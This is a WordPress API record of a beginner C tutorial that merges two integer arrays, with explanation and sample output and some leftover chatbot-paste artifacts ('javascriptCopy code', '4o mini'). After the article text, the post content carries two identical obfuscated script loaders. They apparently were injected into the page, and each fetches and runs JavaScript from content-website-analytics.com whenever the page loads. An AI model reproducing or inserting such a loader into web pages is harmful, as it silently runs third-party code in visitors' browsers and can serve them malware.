{"id":1017,"date":"2024-10-19T13:41:52","date_gmt":"2024-10-19T08:11:52","guid":{"rendered":"https:\/\/codexplained.in\/?p=1017"},"modified":"2025-11-24T15:35:31","modified_gmt":"2025-11-24T10:05:31","slug":"merge-two-array","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1017","title":{"rendered":"Merge Two Array"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nvoid mergeArrays(int arr1&#x5B;], int size1, int arr2&#x5B;], int size2, int merged&#x5B;]) {\n    int i, j;\n\n    \/\/ Copy elements of the first array\n    for (i = 0; i &lt; size1; i++) {\n        merged&#x5B;i] = arr1&#x5B;i];\n    }\n\n    \/\/ Copy elements of the second array\n    for (j = 0; j &lt; size2; j++) {\n        merged&#x5B;i + j] = arr2&#x5B;j];\n    }\n}\n\nint main() {\n    int array1&#x5B;] = {1, 3, 5, 7};\n    int array2&#x5B;] = {2, 4, 6, 8};\n    int size1 = sizeof(array1) \/ sizeof(array1&#x5B;0]);\n    int size2 = sizeof(array2) \/ sizeof(array2&#x5B;0]);\n    int merged&#x5B;size1 + size2];\n\n    mergeArrays(array1, size1, array2, size2, merged);\n\n    \/\/ Print the merged array\n    printf(&quot;Merged Array: &quot;);\n    for (int k = 0; k &lt; size1 + size2; k++) {\n        printf(&quot;%d &quot;, merged&#x5B;k]);\n    }\n    printf(&quot;\\n&quot;);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Include Headers<\/strong>: The program begins with the inclusion of the standard input-output header (<code>&lt;stdio.h&gt;<\/code>).<\/li>\n\n\n\n<li><strong>Function Definition<\/strong>: The <code>mergeArrays<\/code> function takes two arrays along with their sizes and a third array to store the merged result.<\/li>\n\n\n\n<li><strong>Copying Elements<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The first <code>for<\/code> loop copies elements from the first array (<code>arr1<\/code>) to the merged array.<\/li>\n\n\n\n<li>The second <code>for<\/code> loop continues copying elements from the second array (<code>arr2<\/code>) to the merged array, starting from the index after the last element copied from <code>arr1<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Two example arrays, <code>array1<\/code> and <code>array2<\/code>, are defined, along with their sizes.<\/li>\n\n\n\n<li>A <code>merged<\/code> array is created to hold the combined elements.<\/li>\n\n\n\n<li>The <code>mergeArrays<\/code> function is called to perform the merging.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Print Result<\/strong>: Finally, the merged array is printed to the console.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Output<\/h3>\n\n\n\n<p>For the input arrays <code>{1, 3, 5, 7}<\/code> and <code>{2, 4, 6, 8}<\/code>, the output will be:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">javascriptCopy code<code>Merged Array: 1 3 5 7 2 4 6 8 \n<\/code><\/pre>\n\n\n\n<p>This program effectively merges two arrays into one, achieving O(n + m) time complexity, where n and m are the sizes of the two input arrays.<\/p>\n\n\n\n<p>4o mini<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation Output For the input arrays {1, 3, 5, 7} and {2, 4, 6, 8}, the output will be: javascriptCopy codeMerged Array: 1 3 5 7 2 4 6 8 This program effectively merges two arrays into one, achieving O(n + m) time complexity, where n and m are the sizes of the two input [&hellip;]<\/p>\n","protected":false},"author":44,"featured_media":823,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1017","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1017","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/44"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1017"}],"version-history":[{"count":4,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1017\/revisions"}],"predecessor-version":[{"id":1398,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1017\/revisions\/1398"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/823"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1017"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1017"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1017"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}